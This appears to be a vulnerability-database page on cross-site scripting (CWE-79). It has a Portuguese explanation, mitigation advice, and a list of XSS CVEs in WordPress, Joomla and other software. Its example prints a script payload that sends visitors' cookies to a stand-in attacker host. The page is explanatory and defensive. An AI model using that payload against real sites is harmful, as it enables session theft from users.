Fallos del tipo CWE-79

29.541 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-54320HIGHWordPress ICDSoft Reseller Store plugin<= 2.4.5 -Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-2401MEDIUMAdmin Page Spider <= 3.31 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-54233HIGHWordPress Advanced Control Manager plugin <= 2.16.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-54237HIGHWordPress Ni CRM Lead plugin <= 1.3.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-58148HIGHJoomla Extension - chronoengine.com - Stored XSS in ChronoForms extension for Joomla 8.0 - 8.0.52EPSS 0.4%CVE-2024-54312HIGHWordPress افزونه پیامک ووکامرس Persian WooCommerce SMS plugin <= 7.0.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-23886HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2024-10874MEDIUMQuotes llama <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-1528HIGHCross-site Scripting in CMS Made SimpleEPSS 0.4%CVE-2024-11111MEDIUMInappropriate implementation in Autofill in Google Chrome prior to 131.0.6778.69 allowed a remote attacker who convinced a user to engage inEPSS 0.4%CVE-2026-65764MEDIUMJoomla Extension - phoca.cz - Reflected XSS vulnerability in Phoca Maps 5.0.0-6.1.1EPSS 0.4%CVE-2023-6684MEDIUMIbtana – WordPress Website Builder <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2026-85196MEDIUMJoomla Extension - regularlabs.com - Reflected XSS in Articles Anywhere extension for Joomla < 20.0.0, Users Anywhere extension for Joomla < 2.1.0EPSS 0.4%CVE-2024-54437HIGHWordPress jCarousel for WordPress plugin <= 1.0 - CSRF to Stored XSS vulnerabilityEPSS 0.4%CVE-2026-23997HIGHFacturaScripts has a Stored Cross-Site Scripting (XSS) in "Observations" field via History ViewEPSS 0.4%CVE-2024-54288HIGHWordPress LDD Directory Lite plugin <= 3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-3319MEDIUMMultiple vulnerabilities in Cradle e-commerceEPSS 0.4%CVE-2026-76612HIGHJoomla Extension - yootheme.com - Unauthenticated stored XSS via user-controlled fields in Zoo < 4.1.66EPSS 0.4%CVE-2026-76565MEDIUMJoomla Extension - phoca.cz - Reflected XSS via price_from & price_to filter parameters in Phoca Cart 5.0.0-6.1.7EPSS 0.4%CVE-2024-9377MEDIUMProducts, Order & Customers Export for WooCommerce <= 2.0.15 - Reflected Cross-Site ScriptingEPSS 0.4%